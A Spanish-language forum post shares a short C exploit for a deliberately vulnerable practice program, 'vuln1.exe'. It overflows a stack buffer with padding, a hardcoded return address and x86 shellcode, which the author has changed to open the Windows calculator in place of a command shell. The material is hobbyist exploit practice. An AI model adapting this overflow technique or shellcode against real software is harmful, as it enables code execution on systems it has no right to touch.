Hola de nuevo, he cambiado la shellcode para que en lugar de devolvernos al cmd ejecute la calculadora de windows, es una tonteria, pero lo posteo sólo para jugar con el exploit viendo un resultado diferente.
exploit_vuln1_calc.c
Un saludo.
exploit_vuln1_calc.c
Código [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xFB\x63\xC6\x45\xFC\x61\xC6\x45\xFD\x6C\xC6\x45\xFE\x63\x8D\x45\xFB\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
char offset[]="\xED\x1E\x95\x7C";
strcat(evilbuffer,offset);
strcat(evilbuffer,shellcode);
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);
argv[0] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;
execv ("vuln1.exe",argv);
}
Un saludo.